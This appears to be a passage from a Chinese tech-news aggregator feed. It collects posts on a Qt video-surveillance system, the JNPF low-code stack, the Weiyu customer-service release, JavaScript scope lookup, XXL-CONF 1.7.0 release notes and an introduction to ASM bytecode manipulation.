    //实例化右键菜单
    isMax = false;
    videoMenu = new QMenu(this);
    videoSelect = videoWidgets.first();

    //实例化通道布局类
    videoBox = new VideoBox(this);
    videoBox->setLayout(ui->gridLayout);
    videoBox->initMenu(videoMenu);
    videoBox->setWidgets(widgets);
    videoBox->show_all();
}

void frmVideoScreen::fileDrag(const QString &url)
{
    VideoWidget *videoWidget = (VideoWidget *)sender();
    videoWidget->open(url);
}

void frmVideoScreen::on_treeWidget_itemDoubleClicked(QTreeWidgetItem *item, int)
{
    QString url = item->data(0, Qt::UserRole).toString();
    if (DeviceTree::isUrl(url)) {
        //最后按下的哪个控件加载
        if (!videoSelect) {
            return;
        }

        //打开视频并自动移动到下一个
        videoSelect->open(url);
        int index = videoWidgets.indexOf(videoSelect);
        VideoWidget *videoWidget = videoWidgets.at(index + 1);
        videoWidget->setFocus();
        videoSelect = videoWidget;
    } else {
        //关闭所有视频
        foreach (VideoWidget *videoWidget, videoWidgets) {
            videoWidget->stop();
        }

        //逐个打开/直到全部打开完成
        QStringList urls = DeviceTree::getUrls(item);
        int count = qMin(videoWidgets.count(), urls.count());
        for (int i = 0; i < count; ++i) {
            videoWidgets.at(i)->open(urls.at(i));
            //如果电脑性能好可以不延时/不延迟可能会崩溃
            //QtHelper::sleep(AppConfig::OpenInterval, false);
        }
    }
}

四、相关地址

  1. 国内站点:gitee.com/feiyangqing…
  2. 国际站点:github.com/feiyangqing…
  3. 个人作品:blog.csdn.net/feiyangqing…
  4. 文件地址:pan.baidu.com/s/1d7TH_GEY… 提取码:01jf 文件名:bin_video_system。

五、功能特点

0.6.1 软件模块

  1. 视频监控模块,各种停靠小窗体子模块,包括设备列表、图文警情、窗口信息、云台控制、预置巡航、视频轮询、设备控制、悬浮地图、网页浏览等。
  2. 视频回放模块,包括本地回放、网络回放、远程回放、图片回放、视频上传等。
  3. 电子地图模块,包括图片地图、设备地图、设备移动、轨迹回放等。
  4. 日志查询模块,包括本地日志、设备日志等。
  5. 系统设置模块,包括系统设置(基本设置、视频参数、数据库设置、颜色配置、功能激活等)、录像机管理、摄像机管理、轮询配置、录像计划、用户管理、其他设置等。

0.6.2 基础功能

  1. 支持各种音视频流(rtsp、rtmp、http、srt、ws等)、音视频文件(mp4、rmvb、avi等)、本地设备(本地摄像头、麦克风、桌面)。
  2. 支持多画面切换,包括1、4、6、8、9、13、16、25、36、64画面切换。
  3. 支持全屏切换,多种切换方式包括鼠标右键菜单、工具栏按钮、快捷键(alt+enter全屏,esc退出全屏)。
  4. 支持视频轮询,包括1、4、9、16画面轮询,可设置轮询分组(轮询预案)、轮询间隔、码流类型等。
  5. 支持onvif协议,包括设备搜索、云台控制、预置位管理、设备控制(图片参数、校对时间、系统重启、抓拍图片、OSD配置、网络配置等)。
  6. 支持权限管理,不同的用户可以对应不同的模块权限,比如删除日志、关闭系统等。
  7. 数据库支持多种,包括sqlite、mysql、sqlserver、postgresql、oracle、人大金仓等。
  8. 支持本地设备采集比如本地桌面和摄像头,支持设置分辨率、帧率等参数,支持多屏幕。
  9. 所有停靠模块都自动生成对应的菜单用来控制显示和隐藏,在标题栏右键可以弹出。
  10. 支持显示所有模块、隐藏所有模块、复位普通布局、复位全屏布局。
  11. 支持图片地图和网页地图上双击设备图标弹出实时预览。
  12. 摄像机节点拖曳到对应窗体播放视频,同时支持拖曳本地文件直接播放。
  13. 设备树双击分组打开对应分组下的所有视频,双击设备子节点直接打开对应设备视频流。自动加载最后展开的节点。
  14. 设备树支持自定义配置,可以添加分组、删除分组、修改分组,任意层级设置。
  15. 设备树可以开启是否放大字体显示、是否显示主码流子码流节点、是否隐藏空组(没有设备的分组自动隐藏)。
  16. 删除视频支持鼠标右键删除、悬浮条关闭删除、拖曳到视频监控面板外删除等多种方式。
  17. 图片地图上设备按钮可自由拖动,自动保存位置信息。地图上可以鼠标单击获取经纬度信息,用来更新设备位置。
  18. 视频监控面板窗体中任意通道支持拖曳交换,瞬间响应。
  19. 网页地图支持视图切换、运动轨迹显示、设备点位,鼠标按下获取经纬度等。
  20. 双击节点、拖曳节点、拖曳窗体交换位置等操作,均自动更新保存最后的播放地址,下次软件打开自动应用。
  21. 右下角音量条控件,失去焦点自动隐藏,音量条带静音图标,自动记忆最后的音量及静音状态。
  22. 支持视频截图,可指定单个或者对所有通道截图,底部小工具栏也有截图按钮,每个视频控件悬浮条也有抓拍按钮。
  23. 支持辅屏预览,可以打开多个,在多个屏幕分别打开64通道,按需显示视频。
  24. 支持超时自动隐藏鼠标指针、自动全屏机制。
  25. 支持onvif云台控制,可上下左右移动云台摄像机,包括复位和焦距调整等。
  26. 支持onvif预置位,可以添加、删除、修改预置位,可以调用起始位。
  27. 支持OSD增删改查,可以通过onvif协议添加及修改OSD信息。
  28. 支持onvif图像参数设置,包括明亮度、对比度、饱和度、尖锐度等。
  29. 支持onvif其他操作,包括抓图、网络设置、校时、重启、事件订阅等。
  30. 支持任意onvif摄像机,包括但不限于海康、大华、宇视、天地伟业、华为等。
  31. 可保存视频,可通过录像计划存储,也可在悬浮条手动切换开始录像和停止录像。
  32. 可设置视频流通信方式tcp或udp,可设置视频解码是速度优先、质量优先、均衡处理、最快速度等。
  33. 可设置软件中文名称、英文名称、LOGO图标等。
  34. 存储的视频文件支持导出到指定目录,支持批量上传到服务器。
  35. 完善的录像计划设置,支持每个通道7 * 24小时每半小时设置是否存储录像。
  36. 音视频同步显示以及音视频同步存储到MP4文件。

0.6.3 特色功能

  1. 主界面采用停靠窗体模式,各种组件以小模块的形式加入,可自定义任意模块加入。
  2. 停靠模块可拖动任意位置嵌入和悬浮,支持最大化全屏,支持多屏幕。
  3. 双重布局文件存储机制,正常模式、全屏模式都对应不同的布局方案,自动切换和保存,比如全屏模式可以突出几个模块透明显示在指定位置,更具科幻感现代化。
  4. 原创onvif协议机制,采用底层协议解析(udp广播搜索+http请求执行命令)更轻量易懂易学习拓展,不依赖任何第三方组件比如gsoap。
  5. 原创数据导入、导出、打印机制,跨平台不依赖任何组件,瞬间导出数据。
  6. 内置多个原创组件,宇宙超值超级牛逼,包括数据导入导出组件(导出到xls、pdf、打印)、数据库组件(数据库管理线程、自动清理数据线程、万能分页、数据请求等)、地图组件、视频监控组件、文件多线程收发组件、onvif通信组件、通用浏览器内核组件等。
  7. 自定义信息框、错误框、询问框、右下角提示框(包含多种格式)等。
  8. 精美换肤,高达20套皮肤样式随意更换,所有样式全部统一,包括菜单等。
  9. 选中通道对应设备树节点高亮,选中通道节点对应视频控件高亮,方便查看当前通道信息。
  10. 视频控件悬浮条可以自行增加多个按钮,监控界面底部小工具栏也可自行增加按钮。
  11. 双击摄像机节点自动播放视频,双击节点自动依次添加视频,会自动跳到下一个,双击父节点自动添加该节点下的所有视频。可选主码流、子码流。
  12. 录像机管理、摄像机管理,可添加删除修改导入导出打印信息,立即应用新的设备信息生成树状列表,不需重启。
  13. 摄像机搜索支持一键搜索和批量添加,支持onvif的NVR一键添加子设备,可以手动设置开始地址和数量一键生成摄像机信息。
  14. 可选多种内核自由切换,ffmpeg、vlc、mpv等,均可在pro中设置。推荐用ffmpeg,跨平台最多,默认提供好了linux和mac平台上编译好的库。
  15. 支持windows、linux、macos等系统硬解码,还支持嵌入式linux RKMPP硬解码,可设置硬解码类型(dxva2、d3d11va、vaapi、vdpau等)。
  16. 各种模块可以勾选是否激活,方便根据实际需求搭配各种组合,比如隐藏电子地图模块,隐藏远程回放模块只保留本地回放等。
  17. 尽最大化可能,将常用的功能封装接口,全局静态函数调用,极其容易使用,提供各种使用示例,方便用户二开。
  18. 默认采用opengl绘制视频,超低的CPU资源占用,支持yuyv和nv12两种格式绘制,性能爆表。
  19. 标签和图形信息支持三种绘制方式,绘制到遮罩层、绘制到图片、源头绘制(对应信息可以存储到文件)。
  20. 包括但不限于视频监控内核组件的所有功能,可参阅说明书中功能介绍 [视频监控内核](###8.1 视频监控内核)。
  21. 高度可定制化,用户可以很方便的在此基础上衍生自己的功能,比如增加自定义模块,增加运行模式、机器人监控、无人机监控、挖掘机监控、广播监控等。
  22. 支持xp、win7、win10、win11、linux、mac、各种国产系统(UOS、中标麒麟、银河麒麟等)、嵌入式linux等系统。
  23. 注释完整,项目结构清晰,超级详细完整的使用开发手册,精确到每个代码文件的功能说明,不断持续迭代版本。

by feiyangqingyun at January 25, 2025 02:05 AM

juejin freebie

独立开发者,都在使用哪些技术栈?

目录

一、前言

架构展示:

技术栈展示:

二、JNPF-JAVA-Cloud微服务

1.后端技术栈

2. 前端技术栈

Vue3技术栈

3. 数据库支持

一、前言

像独立开发者这类人群,也可以把他们理解为个人开发者/自由职业者。有一组数据显示,在美国,自由职业者人数预计到2027年将达到1 亿。从事项目的自由职业者能够利用低代码、模板、平台和工具来更快地生产,继而将产出的成品进行售卖,这也是一笔很稳定的收入来源。

一个自由职业者可能使用的解决方案的例子是Divjoy,一个React代码库生成器。像Divjoy这样的工具提供了登陆页面、表单、身份验证、密码流程、路由等基础。

自由职业者在以下情况下使用低代码:

  1. 没有经验

  2. 需要帮助开始

  3. 想要使用模板的设计

  4. 想要节省时间

目前国内外低代码或零代码产品不下百种,既有商业平台,也有开源项目。但每个平台往往具有特定的业务属性,适用于不同的行业和公司。

不同的行业和公司可能需要定制不同的组件和流程,因此市场上很少有能够适用于所有场景的通用平台,也很少有企业愿意去开发这样的通用平台。

国内通用平台做的比较好的有JNPF,很有意思。和所有低代码/无代码不同的是,它可以通过可视化的操作自动生成“全栈代码”前端Vue3,基于代码生成器可以生成前后端代码,且代码可读性强,可以进行二次代码编辑和编译

页面搭建涵盖开发、预览、测试、发布、回滚、恢复等常用功能。在这些功能的基础上,增加了诸如**"可视化拖拽"、"多用户协同开发"、"导入导出"、"多数据源"、"通知"**等功能,形成了一个健全的开发体系。对于第三方集成,我们的构建成果可以通过将平台上的应用或页面无缝嵌入到现有的后台系统,或者将现有的后台页面嵌入到我们的平台上,实现灵活的组合使用。

这种突出的灵活性让低代码编程在实现大幅提高效率的同时,又兼具了灵活性和可靠性,因为代码可导出,可与现有的工作资源和经验相融合。根据官网展示,支持50+种通用组件,还能组合使用,那在表单开发时可选项就很充裕了,也不需要重复造轮子。

架构展示:

技术栈展示:

二、JNPF-JAVA-Cloud微服务

1.后端技术栈

主框架:Spring Boot + Spring Framework

持久层架:MyBatis-Plus

数据库连接池:Alibaba Druid

多数据源:Dynamic-Datasource

数据库兼容: MySQL、SQLServer、Oracle、PostgreSQL、达数据库、人大金仓数据库

分库分表解决方案:Apache ShardingSphere

权限认证框架:Sa-Token+JWT

代码生成器:MyBatis-Plus-Generator

模板引擎:Velocity

任务调度:XXL-JOB

分布式锁:Lock4j

JSON序列化:Jackson&Fastjson

缓存数据库:Redis

校验框架:Validation

分布式文件存储:兼容MinIO及多个云对象存储,如阿里云 OSS、华为云 OBS、七牛云 Kodo、腾讯云 COS等

工具类框架:Hutool、Lombok

Api文档生成工具:Knife4j

项目构建:Maven

2. 前端技术栈

Vue3技术栈

Vue3.0全家桶

TypeScript

Vite

pinia

pnpm

Ant Design vue3

Less

Echarts

Dayjs

Fullcalendar

monaco-editor

Sortablejs

tinymc

3. 数据库支持

MySQL 5.7.x/8.0.x

SQLServer 2012+

Oracle 11g

PostgreSQL 12+

达梦数据库(DM8)

人大金仓数据库(KingbaseES_V8R6)

JNPF对于初级开发者也是比较友好的,除了开发者手册可以解决90%以上的问题,如果遇到解决不了的,也有官方的交流群体,里面有大佬会解决这些。

只需要掌握Java开发基础,比较容易上手,即便是0基础的小白在系统学习后也可以轻松开发,作为第一套开发系统的框架是比较合适的。当然他们还有.net版本的,也可以试试。

官网地址:www.jnpfsoft.com/?csdnxl

by 树上有只程序猿 at January 25, 2025 01:34 AM

oschina news project

微语 0.5.9 发布,开源在线客服系统

企业级多租户即时通讯解决方案

:::tip 微语仍处于早期的快速迭代阶段,文档可能落后于开发,导致功能描述可能不符,以最新发布的软件版本为准 :::

语言

admin

介绍

企业IM

  • 局域网即时通讯
  • 企业成员管理
  • 聊天记录监控
  • ...

全渠道客服

  • 多渠道接入
  • 人工客服
  • 统计报表
  • ...

知识库

  • 对接大模型LLM
  • 自定义知识库
  • AI对话
  • ...

工单系统

  • 工单管理
  • 工单SLA管理
  • 工单统计和报表
  • ...

Docker 快速开始

克隆项目并启动docker compose容器

git clone https://gitee.com/270580156/weiyu.im.git && cd bytedesk/deploy/docker && docker compose -p bytedesk -f docker-compose.yaml up -d
 

停止容器

docker compose -p bytedesk -f docker-compose.yaml stop
 

演示

开源 SDK

Project Description Forks Stars
iOS iOS GitHub forks GitHub Repo stars
Android Android GitHub forks GitHub Repo stars
Flutter Flutter GitHub forks GitHub Repo stars
UniApp Uniapp GitHub forks GitHub Repo stars
Web Vue/React/Angular/Next.js/JQuery/... GitHub forks GitHub Repo stars
Wordpress Wordpress GitHub forks GitHub Repo stars
Woocommerce woocommerce GitHub forks GitHub Repo stars
Magento Magento GitHub forks GitHub Repo stars
Prestashop Prestashop GitHub forks GitHub Repo stars
Shopify Shopify GitHub forks GitHub Repo stars
Opencart Opencart GitHub forks GitHub Repo stars
Laravel Laravel GitHub forks GitHub Repo stars
Django Django GitHub forks GitHub Repo stars

链接

技术栈

by 来源: 投稿 at January 25, 2025 01:13 AM

juejin frontend

深入探究 JavaScript作用域底层机制

引言 在 JavaScript 编程中,作用域是一个至关重要的概念,它决定了变量和函数的可访问范围。理解作用域的底层机制,有助于我们编写出更加高效、稳定的代码,避免出现一些难以调试的错误。本文将深入探讨 JavaScript 作用域的底层原理,结合具体的代码实例,从编译和执行的角度剖析作用域的工作机制。

JavaScript 的执行机制与作用域基础

var a = 1; 看执行机制 在 JavaScript 中,像 var a = 1; 这样的语句看似简单,实则包含了多个执行步骤。它可以拆分为变量声明和赋值两个阶段。在编译阶段,编译器会处理 var a; 这部分,它的主要任务是进行语法分析和代码生成。var 是变量声明的关键字,a 是变量标识符,此时编译器会记录下这个变量的声明信息。而在执行阶段,引擎会执行 a = 1; 这一赋值操作。

// 编译阶段:var a; // 执行阶段:a = 1; 
var a = 1; 
console.log(a); // 输出 1 

变量与作用域的关系

变量不会孤立存在,它必须依附于作用域。作用域是程序中定义的变量、函数等标识符能够被访问和使用的区域。在编译阶段,作用域就开始收集并维护由所有声明的标识符组成的一系列查询。在执行阶段,当代码需要访问某个变量时,会遵循一定的查找规则:在当前作用域查找变量,如果找不到,就去父作用域查找,直到全局作用域,如果还找不到,就会报错。

function outer() { 
    var b = 2; 
    function inner() { 
        var c = 3; 
        console.log(c); // 输出 3,在当前作用域找到变量 c
        console.log(b); // 输出 2,在父作用域(outer 函数作用域)找到变量 b
        console.log(a); // 报错,在当前作用域、父作用域和全局作用域都找不到变量 a 
        } 
    inner(); 
    } 
var a = 1;
outer(); 

JavaScript 作用域的底层参与者

JavaScript 引擎

JavaScript 引擎就像一个公司的 CEO,负责整个 JavaScript 程序的编译和执行过程。以 Chrome 浏览器的 V8 引擎为例,它会协调编译器和作用域,确保代码能够正确运行。

编译器

编译器如同公司的 CTO,负责语法分析和代码生成。当遇到 var a = 1; 时,编译器会对其进行分词处理,识别出 var 是声明关键字,a 是变量标识符,1 是变量值。然后根据这些信息生成相应的代码。

作用域

作用域类似于公司的 COO(运营经理),它负责收集并维护由所有声明的标识符组成的一系列查询,并实施一套非常严格的规则,确定当前执行的代码对这些标识符的访问权限。变量属于作用域,并且存在作用域链的概念。

LHS 和 RHS 查找及其具体运行机制

在 JavaScript 中,变量的查找分为 LHS(Left - Hand Side)和 RHS(Right - Hand Side)查找。LHS 查找是赋值操作的目标查找,即找到要赋值的变量的地址;RHS 查找是赋值操作的源头查找,即找到变量的值。

LHS 查找的运行机制

LHS 查找主要用于赋值操作。当进行 LHS 查找时,如果在当前作用域以及沿着作用域链向上查找都没有找到对应的变量,在非严格模式下,JavaScript 会对变量进行隐式分配,也就是会在全局作用域中创建这个变量。

function testLHS() { 
// 这里对未声明的变量进行赋值,触发 LHS 查找
     nonDeclaredVariable = 10; 
     } 
 testLHS();
 console.log(nonDeclaredVariable); // 输出 10,因为在全局作用域隐式创建了该变量 

但在严格模式('use strict';)下,LHS 查找失败会抛出 ReferenceError 错误。

function testLHSInStrictMode() { 
// 严格模式下,LHS 查找失败会报错 
    nonDeclaredVariable = 20; 
}
try { 
    testLHSInStrictMode(); 
} 
catch (error) { 
    console.log(error); // 输出 ReferenceError: nonDeclaredVariable is not defined 
} 

RHS 查找的运行机制

RHS 查找用于获取变量的值。当 RHS 查找失败,也就是在当前作用域以及整个作用域链中都没有找到对应的变量时,JavaScript 会抛出 ReferenceError 错误。

function testRHS() { 
// 这里对未声明的变量进行访问,触发 RHS 查找
    console.log(nonExistentVariable);
}
try { 
    testRHS();
} 
catch (error) {
    console.log(error); // 输出 ReferenceError: nonExistentVariable is not defined
}

另外,当 RHS 查找得到的变量类型不符合后续操作的要求时,也会报错。例如,对一个 number 类型的变量进行函数调用操作。

var num = 10; 
try { 
// 对 number 类型的 num 进行函数调用,触发类型错误
    num();
} 
catch (error) {
    console.log(error); // 输出 TypeError: num is not a function
} 

作用域嵌套与作用域链

当作用域相互嵌套时,就形成了作用域链。查找变量的过程就是沿着作用域链从当前作用域向全局作用域进行搜索的过程。

function outer() { 
    var outerVar = 'outer value';
    function middle() {
        var middleVar = 'middle value'; 
        function inner() { 
            var innerVar = 'inner value'; 
            console.log(innerVar); // 输出 'inner value',在当前作用域找到变量
            console.log(middleVar); // 输出 'middle value',在父作用域(middle 函数作用域)找到变量 
            console.log(outerVar); // 输出 'outer value',在父作用域的父作用域(outer 函数作用域)找到变量 
        } 
        inner();
    }
    middle();
}
outer();

在这个例子中,inner 函数的作用域嵌套在 middle 函数的作用域中,middle 函数的作用域又嵌套在 outer 函数的作用域中。当 inner 函数需要访问某个变量时,会先在自己的作用域中查找,如果找不到,就会沿着作用域链向上查找,直到找到变量或者到达全局作用域。

总结

JavaScript 作用域的底层机制涉及到 JavaScript 引擎、编译器和作用域的协同工作。变量的声明和赋值在编译和执行阶段分别进行,而变量的查找则遵循 LHS 和 RHS 规则,并且在作用域嵌套的情况下,会通过作用域链进行查找。深入理解 LHS 和 RHS 查找的具体运行机制,能够帮助我们更好地处理变量查找失败和类型不匹配等问题,从而编写出更加健壮的 JavaScript 代码。

by AliciaIr at January 25, 2025 01:03 AM

oschina news project

XXL-CONF v1.7.0 | 分布式服务管理平台(配置中心 & 注册中心)

Release Notes

  • 1、【升级】XXL-CONF 升级重构,XXL-CONF 是 分布式服务管理平台,作为服务 配置中心 与 注册中心,提供 动态配置管理、服务注册与发现 等核心能力;降低中间件认知及运维成本;
  • 2、【整合】XXL-CONF 整合XXL-RPC注册中心(xxl-rpc-admin)能力,提供轻量级服务动态注册及发现能力;
  • 3、【重构】XXL-CONF 客户端代码重构,模块化设计实现,提升可扩展性与稳定性;
  • 4、【优化】客户端配置监控逻辑优化,避免异常情况下重试请求太频繁;
  • 5、【优化】服务端非法Key空值处理,主动进行Null值缓存,避免缓存穿透;
  • 6、【优化】日志优化:仅变更日志保留为info级别,非核心日志调整为debug级别;
  • 7、【优化】全量配置同步线程优化,对齐起始时间,避免集群节点数据不一致;
  • 8、【修复】小概率情况下底层通讯乱码问题修复;
  • 9、【升级】升级多项maven依赖至较新版本,如springboot等;

XXL- CONF 快速接入示例

代码参考github仓库 /test 目录: https://github.com/xuxueli/xxl-conf/tree/master/xxl-conf-samples

1、XXL- CONF搭建:一行命令启动配置中心&注册中心,一站式提供动态配置管理、服务注册及发现能力(下文只演示配置中心能力)。

img_06.png

2、XXL-CONF接入配置:与Spring无缝集成,也支持无框架接入。

@Bean
public SpringXxlConfFactory xxlConfFactory() {
    SpringXxlConfFactory xxlConfFactory = new SpringXxlConfFactory();
    xxlConfFactory.setAppname(appname);
    xxlConfFactory.setEnv(env);
    xxlConfFactory.setAddress(address);
    xxlConfFactory.setAccesstoken(accesstoken);
    return xxlConfFactory;
}

经过上述2步,已完成全部配置工作。

3、客户端接入: 丰富配置获取方式,支持秒级&热更新

  • 3.1、方式1: API方式(XxlConfHelper)
/**
 * API方式
 *
 *         - 参考 "IndexController" 中 "XxlConfHelper.get("key")" 即可;
 *         - 用法:代码中直接调用API即可,API支持多数据类型,可快速获取各类型配置;
 *         - 优点:
 *             - API编程,灵活方便;
 *             - 支持多数据类型
 *             - 配置从配置中心实时加载,且底层存在动态推动更新,实效性有保障;
 *             - 底层存在配置LocalCache,且存在缓存击穿等防护,性能有保障;
 */
String paramByApi = XxlConfHelper.get("sample.key01", null);
  • 3.2 方式2: 注解方式(@XxlConf)
/**
 * 注解方式
 *
 *         - 参考 "IndexController.paramByAnnotation" 属性配置;
 *         - 用法:对象Field上加注解 ""@XxlConf";支持设置默认值、跨服务复用配置,以及设置是否动态刷新;
 *         - 优点:
 *             - 注解编程,简洁易用;
 *             - 支持多数据类型
 *             - 配置从配置中心实时加载,且底层存在动态推动更新,实效性有保障;
 *             - 注解属性自身承担数据存储职责,无外部请求逻辑,无性能风险;
 */
@XxlConf("sample.key02")
public String paramByAnnotation;

 

  • 3.3、方式3: 监听器方式(XxlConfListener)
    /**
     * Listener / 监听器方式
     *
     *         - 参考 "IndexController" 中 "XxlConfHelper.addListener(...)" 即可;
     *         - 用法:配置变更监听示例:可开发Listener逻辑,监听配置变更事件;可据此实现动态刷新 线程池、JDBC链接池 等高级功能;
     *         - 优点:
     *             - 监听器方式,扩展性更强;
     *             - 支持多数据类型
     *             - 配置从配置中心实时加载,且底层存在动态推动更新,实效性有保障;
     */
    XxlConfHelper.addListener("sample.key03", new XxlConfListener(){
      @Override
      public void onChange(String appname, String key, String value) throws Exception {
          paramByListener = value;
          logger.info("XxlConfListener 配置变更事件通知:key={}, value={}", key, value);
      }
    });

     

简介

XXL-CONF 是一个 分布式服务管理平台,作为服务 配置中心 与 注册中心,提供 动态配置管理、服务注册与发现 等核心能力;拥有 “轻量级、秒级实时推送、多环境、跨语言、跨机房、权限控制” 等特性。现已开放源代码,开箱即用。

特性:配置中心

img_07.png

  • 1、简单易用: 接入灵活方便,一分钟上手;
  • 2、轻量级: 仅依赖DB无其他三方依赖,搭建部署及接入简单,一分钟上手;
  • 3、高可用/HA:配置中心支持集群部署,提升配置中心系统容灾和可用性;
  • 4、高性能:得益于配置中心与客户端的本地缓存以及多级缓存设计,因此配置读取性能非常高;单机可承担高并发配置读取;
  • 5、实时性: 借助内部广播机制,新服务上线、下线等变更,可以在1s内推送给客户端;
  • 6、线上化管理: 配置中心提供线上化管理界面, 通过Web UI在线操作配置数据,直观高效;
  • 8、动态更新:配置数据变更后,客户端配置数据会实时动态更新、并生效,不需要重启服务机器;
  • 9、最终一致性:底层借助内置广播机制,保障配置数据的最终一致性,从而保证配置数据的同步;
  • 10、多数据类型配置:支持多种数据类型配置,如:String、Boolean、Short、Integer、Long、Float、Double 等;
  • 11、丰富配置接入方式:支持 "API、 注解、Listener" 等多种方式获取配置,可灵活选择使用;
  • 12、配置变更监听功能:支持自定义Listener逻辑,监听配置变更事件,可据此动态刷新JDBC连接池等高级功能;
  • 13、多环境支持:支持自定义环境(命名空间),管理多个环境的的配置数据;环境之间相互隔离;
  • 14、跨语言/OpenAPI:提供语言无关的 配置中心 OpenAPI(RESTFUL 格式),提供拉取配置与实时感知配置变更能力,实现多语言支持;
  • 15、跨机房:得益于配置中心系统设计,服务端为无状态服务,集群各节点提供对等的服务;因此异地跨机房部署时,只需要请求本机房配置中心即可,实现异地多活;
  • 16、客户端断线重连强化:底层设计守护线程,周期性检测客户端连接、配置同步,提高异常情况下配置稳定性和时效性;
  • 17、空配置处理:主动缓存null或不存在类型配置,避免配置请求穿透到远程配置Server引发雪崩问题;
  • 18、访问令牌(AccessToken):为提升系统安全性,服务端和客户端进行安全性校验,双方AccessToken匹配才允许通讯;
  • 19、用户管理:支持在线添加和维护用户,包括普通用户和管理员两种类型用户,灵活管控系统权限;
  • 20、配置权限控制;以项目为维度进行配置权限控制,管理员拥有全部项目权限,普通用户只有分配才拥有项目下配置的查看和管理权限;
  • 21、历史版本回滚:配置变更后及时记录配置变更历史,支持历史配置版本对比及快速回溯;
  • 22、配置快照:客户端从配置中心获取到的配置数据后,会周期性缓存到本地快照文件中,当从配置中心获取配置失败时,将会使用使用本地快照文件中的配置数据;提高系统可用性;
  • 23、容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用;

特性:注册中心

img_registry.png

  • 1、简单易用: 接入灵活方便,一分钟上手;
  • 2、轻量级: 仅依赖DB无其他三方依赖,搭建部署及接入简单,一分钟上手;
  • 3、高可用/HA:注册中心支持集群部署,提升注册中心系统容灾和可用性;
  • 4、高性能:得益于注册中心与客户端的本地缓存以及多级缓存设计,因此注册数据读取性能非常高;单机可承担高并发配置读取;
  • 5、实时性: 借助内部广播机制,新服务上线、下线等变更,可以在1s内推送给客户端;
  • 6、多环境支持:支持自定义环境(命名空间),管理多个环境的的服务注册数据;环境之间相互隔离;
  • 7、跨语言/OpenAPI:提供语言无关的 注册中心 OpenAPI(RESTFUL 格式),提供服务 注册、注销、心跳、查询 等能力,实现多语言支持;
  • 8、跨机房:得益于注册中心系统设计,服务端为无状态服务,集群各节点提供对等的服务;因此异地跨机房部署时,只需要请求本机房配置中心即可,实现异地多活;
  • 9、多状态:服务内置多状态,支持丰富业务使用场景。正常状态=支持动态注册、发现,服务注册信息实时更新;锁定状态=人工维护注册信息,服务注册信息固定不变;禁用状态=禁止使用,服务注册信息固定为空;
  • 10、访问令牌(AccessToken):为提升系统安全性,服务端和客户端进行安全性校验,双方AccessToken匹配才允许通讯;
  • 11、用户管理:支持在线添加和维护用户,包括普通用户和管理员两种类型用户,灵活管控系统权限;
  • 12、容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用;

by 来源: 投稿 at January 25, 2025 12:40 AM

juejin android

Android字节码处理-ASM入门开胃菜

Android的如何编译流程

Java代码编译成字节码在Java虚拟机中运行。Android的Java代码首先编译成Java字节码,然后通过dx工具编译成单个dex格式的文件,然后运行在Android的ART虚拟机中。Android Gradle插件3.4.0以及以后的版本,可以使用R8,可以在一个步骤中完成脱糖、压缩、混淆、优化和 dex 处理 (D8),如下图所示。

image.png

字节码修改

字节码修改其实可以在两个阶段执行,可以在.class字节码阶段修改,同时也可以在.dex阶段修改。dex可以理解为.class字节码的压缩版本,Java jar文件有许多类文件,而每个APK文件只有一个classes.dex文件,如下所示。根据Google称,出于性能和安全原因,APK格式与类文件格式不同。

image.png dex更加紧凑,字节码修改的难度更大,在Android Gradle插件3.4.0插件之后的版本使用R8,dex是已经混淆,共用常量,共用变量等,牵一发而动全身,增加dex字节码修改的难度。

ASM简介

ASM是一个通用的Java字节码操作和分析框架。它可用于修改现有类或动态生成类,直接以二进制形式。ASM 提供了一些常见的字节码转换和分析算法,可以从中构建自定义复杂转换和代码分析工具。ASM提供与其他Java 字节码框架类似的功能,但更注重性能。由于它的设计和实现尽可能小巧和快速,因此非常适合在动态系统中使用(但当然也可以以静态方式使用,例如在编译器中)。

注意:ASM 这个名字没有任何意义:它只是对 C 中__asm__关键字的引用,它允许用汇编语言实现某些函数。

ASM的两种模式

ASM库提供了两种用于生成和转换已编译类的API:核心API提供基于事件的类表示,而树API提供基于对象的表示。使用基于事件的模型,类由一系列事件表示,每个事件代表类的一个元素,基于事件的API定义了可能事件的集合及其必须发生的顺序。使用基于对象的模型,类由对象树表示,每个对象代表类的一部分。这两种模式有点像Android中XML解析的两种模式SAX模式和DOM模式。核心API基于事件驱动,占用内存空间小,如果需要遇到复杂的场景,可能需要遍历两次;树API基于对象驱动,内存占用空间大,多数情况下遍历一次就可以,方法使用简单,效率相对较低。

ASM执行模型

在介绍字节码指令之前,有必要介绍一下Java虚拟机执行模型。众所周知,Java代码是在线程内执行的。每个线程都有自己的执行堆栈,由栈帧组成。每个栈帧代表一个方法调用:每次调用方法时,都会在当前线程的执行堆栈上推送一个新栈帧。当方法返回时(正常或由于异常),此栈帧将从执行堆栈中弹出,并继续执行调用方法(其框架现在位于堆栈顶部)。每个栈帧包含两个部分:局部变量部分和操作数堆栈部分。局部变量部分包含可以通过其索引以随机顺序访问的变量。操作数堆栈部分,顾名思义,是字节码指令用作操作数的值堆栈。这意味着只能按后进先出的顺序访问此堆栈中的值。不要混淆操作数堆栈和线程的执行堆栈:执行堆栈中的每个栈帧都包含自己的操作数堆栈。局部变量和操作数堆栈部分的大小取决于方法的代码。它是在编译时计算的,并与字节码指令一起存储在编译的类中。因此,与给定方法的调用相对应的所有栈帧都具有相同的大小,但与不同方法相对应的框架的局部变量和操作数堆栈部分的大小可能不同。

image.png

上图显示了具有3个战争的示例执行堆栈。第一个栈帧包含3个局部变量,其操作数堆栈的最大大小为 4,并且包含两个值。第二个栈帧包含2个局部变量,其操作数堆栈中包含两个值。最后,执行堆栈顶部的第三个栈帧包含 4个局部变量和两个操作数。

注意:如果方法调用是实例方法,局部变量的第一个参数就是this,然后局部变量按照方法的参数顺序依次映射(局部变量的个数是方法参数的个数加1);如果方法调用的是类方法,局部变量与方法的参数依次映射。(局部变量的个数与方法参数的个数相同)

局部变量和操作堆栈以槽作为存储数据的单位,槽占用的空间是32位,也就是4个字节,除了long和double专用两个槽以外,其余的类型占用一个槽,这再计算操作数栈的最大值的时候会用到。

类结构

类作为属性和方法的封装结构而存在。

image.png 确切的结构在Java虚拟机规范第4节中描述。

描述符

类的内部名称就是该类的完全限定名称,其中的点被斜线替换。例如,String的内部名称是java/lang/String。内部名称表示用于类型描述符。

image.png

